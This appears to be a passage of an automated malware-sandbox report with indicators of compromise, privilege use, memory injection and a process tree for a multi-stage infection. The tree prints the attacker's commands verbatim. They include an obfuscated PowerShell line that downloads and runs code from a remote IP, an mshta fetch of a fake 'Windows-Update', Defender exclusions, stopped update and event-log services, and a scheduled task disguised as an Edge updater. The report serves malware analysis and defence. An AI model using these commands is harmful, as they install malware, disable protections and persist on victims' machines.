Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
6084	document.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4364	file.exe
4364	file.exe
3188	skotes.exe
3188	skotes.exe
1096	L.exe
1096	L.exe
2164	powershell.exe
1988	powershell.exe
2164	powershell.exe
1988	powershell.exe
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
5148	FunnyJellyfish.tmp
5148	FunnyJellyfish.tmp
5380	powershell.exe
5716	regsvr32.exe
5716	regsvr32.exe
5380	powershell.exe
5716	regsvr32.exe
5380	powershell.exe
5716	regsvr32.exe
5716	regsvr32.exe
5716	regsvr32.exe
232	powershell.exe
232	powershell.exe
232	powershell.exe
2740	powershell.exe
2740	powershell.exe
2740	powershell.exe
6136	powershell.exe
6136	powershell.exe
6136	powershell.exe
2544	powershell.exe
2544	powershell.exe
2544	powershell.exe
3276	powershell.exe
3276	powershell.exe
3276	powershell.exe
5716	regsvr32.exe
5716	regsvr32.exe
5716	regsvr32.exe
5716	regsvr32.exe
5716	regsvr32.exe
5716	regsvr32.exe
5716	regsvr32.exe
6084	document.exe
6084	document.exe
5716	regsvr32.exe
5304	skotes.exe
5304	skotes.exe
5340	LB31.exe
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe
5340	LB31.exe
5340	LB31.exe
5340	LB31.exe
5340	LB31.exe
5340	LB31.exe
5340	LB31.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	4364	RegSvcs.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	6084	document.exe
Token: SeDebugPrivilege	5380	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeIncreaseQuotaPrivilege	232	powershell.exe
Token: SeSecurityPrivilege	232	powershell.exe
Token: SeTakeOwnershipPrivilege	232	powershell.exe
Token: SeLoadDriverPrivilege	232	powershell.exe
Token: SeSystemProfilePrivilege	232	powershell.exe
Token: SeSystemtimePrivilege	232	powershell.exe
Token: SeProfSingleProcessPrivilege	232	powershell.exe
Token: SeIncBasePriorityPrivilege	232	powershell.exe
Token: SeCreatePagefilePrivilege	232	powershell.exe
Token: SeBackupPrivilege	232	powershell.exe
Token: SeRestorePrivilege	232	powershell.exe
Token: SeShutdownPrivilege	232	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeSystemEnvironmentPrivilege	232	powershell.exe
Token: SeRemoteShutdownPrivilege	232	powershell.exe
Token: SeUndockPrivilege	232	powershell.exe
Token: SeManageVolumePrivilege	232	powershell.exe
Token: 33	232	powershell.exe
Token: 34	232	powershell.exe
Token: 35	232	powershell.exe
Token: 36	232	powershell.exe
Token: SeDebugPrivilege	6136	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeIncreaseQuotaPrivilege	2544	powershell.exe
Token: SeSecurityPrivilege	2544	powershell.exe
Token: SeTakeOwnershipPrivilege	2544	powershell.exe
Token: SeLoadDriverPrivilege	2544	powershell.exe
Token: SeSystemProfilePrivilege	2544	powershell.exe
Token: SeSystemtimePrivilege	2544	powershell.exe
Token: SeProfSingleProcessPrivilege	2544	powershell.exe
Token: SeIncBasePriorityPrivilege	2544	powershell.exe
Token: SeCreatePagefilePrivilege	2544	powershell.exe
Token: SeBackupPrivilege	2544	powershell.exe
Token: SeRestorePrivilege	2544	powershell.exe
Token: SeShutdownPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeSystemEnvironmentPrivilege	2544	powershell.exe
Token: SeRemoteShutdownPrivilege	2544	powershell.exe
Token: SeUndockPrivilege	2544	powershell.exe
Token: SeManageVolumePrivilege	2544	powershell.exe
Token: 33	2544	powershell.exe
Token: 34	2544	powershell.exe
Token: 35	2544	powershell.exe
Token: 36	2544	powershell.exe
Token: SeIncreaseQuotaPrivilege	2544	powershell.exe
Token: SeSecurityPrivilege	2544	powershell.exe
Token: SeTakeOwnershipPrivilege	2544	powershell.exe
Token: SeLoadDriverPrivilege	2544	powershell.exe
Token: SeSystemProfilePrivilege	2544	powershell.exe
Token: SeSystemtimePrivilege	2544	powershell.exe
Token: SeProfSingleProcessPrivilege	2544	powershell.exe
Token: SeIncBasePriorityPrivilege	2544	powershell.exe
Token: SeCreatePagefilePrivilege	2544	powershell.exe
Token: SeBackupPrivilege	2544	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4364	file.exe
5148	FunnyJellyfish.tmp

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6084	document.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4364 wrote to memory of 3188	4364	file.exe	83
PID 4364 wrote to memory of 3188	4364	file.exe	83
PID 4364 wrote to memory of 3188	4364	file.exe	83
PID 3188 wrote to memory of 1096	3188	skotes.exe	89
PID 3188 wrote to memory of 1096	3188	skotes.exe	89
PID 3188 wrote to memory of 1096	3188	skotes.exe	89
PID 3188 wrote to memory of 1832	3188	skotes.exe	93
PID 3188 wrote to memory of 1832	3188	skotes.exe	93
PID 1832 wrote to memory of 4400	1832	file.exe	94
PID 1832 wrote to memory of 4400	1832	file.exe	94
PID 4400 wrote to memory of 1988	4400	wscript.exe	95
PID 4400 wrote to memory of 1988	4400	wscript.exe	95
PID 4400 wrote to memory of 2164	4400	wscript.exe	96
PID 4400 wrote to memory of 2164	4400	wscript.exe	96
PID 1988 wrote to memory of 2136	1988	powershell.exe	103
PID 1988 wrote to memory of 2136	1988	powershell.exe	103
PID 2164 wrote to memory of 2428	2164	powershell.exe	104
PID 2164 wrote to memory of 2428	2164	powershell.exe	104
PID 2136 wrote to memory of 1692	2136	WScript.exe	105
PID 2136 wrote to memory of 1692	2136	WScript.exe	105
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 2164 wrote to memory of 4364	2164	powershell.exe	107
PID 1692 wrote to memory of 2344	1692	cmd.exe	108
PID 1692 wrote to memory of 2344	1692	cmd.exe	108
PID 2344 wrote to memory of 3868	2344	mshta.exe	109
PID 2344 wrote to memory of 3868	2344	mshta.exe	109
PID 3868 wrote to memory of 1448	3868	powershell.exe	111
PID 3868 wrote to memory of 1448	3868	powershell.exe	111
PID 3188 wrote to memory of 2448	3188	skotes.exe	112
PID 3188 wrote to memory of 2448	3188	skotes.exe	112
PID 3188 wrote to memory of 2448	3188	skotes.exe	112
PID 2448 wrote to memory of 4236	2448	FunnyJellyfish.exe	113
PID 2448 wrote to memory of 4236	2448	FunnyJellyfish.exe	113
PID 2448 wrote to memory of 4236	2448	FunnyJellyfish.exe	113
PID 4236 wrote to memory of 5868	4236	FunnyJellyfish.tmp	114
PID 4236 wrote to memory of 5868	4236	FunnyJellyfish.tmp	114
PID 4236 wrote to memory of 5868	4236	FunnyJellyfish.tmp	114
PID 5868 wrote to memory of 1068	5868	cmd.exe	116
PID 5868 wrote to memory of 1068	5868	cmd.exe	116
PID 5868 wrote to memory of 1068	5868	cmd.exe	116
PID 3188 wrote to memory of 6084	3188	skotes.exe	117
PID 3188 wrote to memory of 6084	3188	skotes.exe	117
PID 6084 wrote to memory of 5380	6084	document.exe	119
PID 6084 wrote to memory of 5380	6084	document.exe	119
PID 5868 wrote to memory of 2756	5868	cmd.exe	121
PID 5868 wrote to memory of 2756	5868	cmd.exe	121
PID 5868 wrote to memory of 2756	5868	cmd.exe	121
PID 2756 wrote to memory of 5148	2756	FunnyJellyfish.exe	122
PID 2756 wrote to memory of 5148	2756	FunnyJellyfish.exe	122
PID 2756 wrote to memory of 5148	2756	FunnyJellyfish.exe	122
PID 5148 wrote to memory of 5228	5148	FunnyJellyfish.tmp	123
PID 5148 wrote to memory of 5228	5148	FunnyJellyfish.tmp	123
PID 5148 wrote to memory of 5228	5148	FunnyJellyfish.tmp	123
PID 5228 wrote to memory of 5716	5228	regsvr32.exe	124
PID 5228 wrote to memory of 5716	5228	regsvr32.exe	124
PID 5716 wrote to memory of 232	5716	regsvr32.exe	126
PID 5716 wrote to memory of 232	5716	regsvr32.exe	126
PID 6084 wrote to memory of 2740	6084	document.exe	128

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:336

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1148
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2668
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:5304
- C:\Windows\system32\regsvr32.EXE
  C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll
  2⤵
  - Loads dropped DLL
  PID:6032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3276
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  2⤵
  PID:4564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1992

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2644

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2808

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3460

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3540
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Users\Admin\AppData\Local\Temp\1007944001\L.exe
      "C:\Users\Admin\AppData\Local\Temp\1007944001\L.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1096
  - - C:\Users\Admin\AppData\Local\Temp\1008005001\file.exe
      "C:\Users\Admin\AppData\Local\Temp\1008005001\file.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1832
    - - C:\Windows\SYSTEM32\wscript.exe
        
        "wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:4400
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1988
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CMD.vbs"
        7⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1692
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:4776
        
        C:\Windows\system32\mshta.exe
        
        mshta http://176.113.115.178/Windows-Update
        9⤵
        Blocklisted process makes network request
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        10⤵
        UAC bypass
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1448
        
        C:\Users\Admin\AppData\Roaming\LB31.exe
        
        "C:\Users\Admin\AppData\Roaming\LB31.exe"
        11⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:5340
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        12⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        12⤵
        
        PID:4760
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        13⤵
        
        PID:5888
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        12⤵
        Launches sc.exe
        
        PID:6052
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        12⤵
        Launches sc.exe
        
        PID:5140
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:6128
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        12⤵
        Launches sc.exe
        
        PID:5548
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        12⤵
        Launches sc.exe
        
        PID:1856
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        12⤵
        Power Settings
        
        PID:3988
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        12⤵
        Power Settings
        
        PID:2636
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        12⤵
        Power Settings
        
        PID:3704
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        12⤵
        Power Settings
        
        PID:5860
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        12⤵
        
        PID:6028
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "LIB"
        12⤵
        Launches sc.exe
        
        PID:4532
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
        12⤵
        Launches sc.exe
        
        PID:1832
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        12⤵
        Launches sc.exe
        
        PID:5892
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "LIB"
        12⤵
        Launches sc.exe
        
        PID:6048
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        13⤵
        
        PID:2216
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2164
        
        C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        7⤵
        Gathers network information
        
        PID:2428
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        7⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:4364
  - - C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
      "C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2448
    - - C:\Users\Admin\AppData\Local\Temp\is-KCBNC.tmp\FunnyJellyfish.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-KCBNC.tmp\FunnyJellyfish.tmp" /SL5="$B01D8,1097818,140800,C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4236
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C timeout /T 3 & "C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5868
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 3
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1068
        
        C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2756
        
        C:\Users\Admin\AppData\Local\Temp\is-7A33L.tmp\FunnyJellyfish.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-7A33L.tmp\FunnyJellyfish.tmp" /SL5="$70034,1097818,140800,C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:5148
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\DelightfulCard.dll"
        9⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5228
        
        C:\Windows\system32\regsvr32.exe
        
        /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\DelightfulCard.dll"
        10⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5716
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{AE08539B-70E9-419C-AE46-8E15B5A9038C}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
        11⤵
        Command and Scripting Interpreter: PowerShell
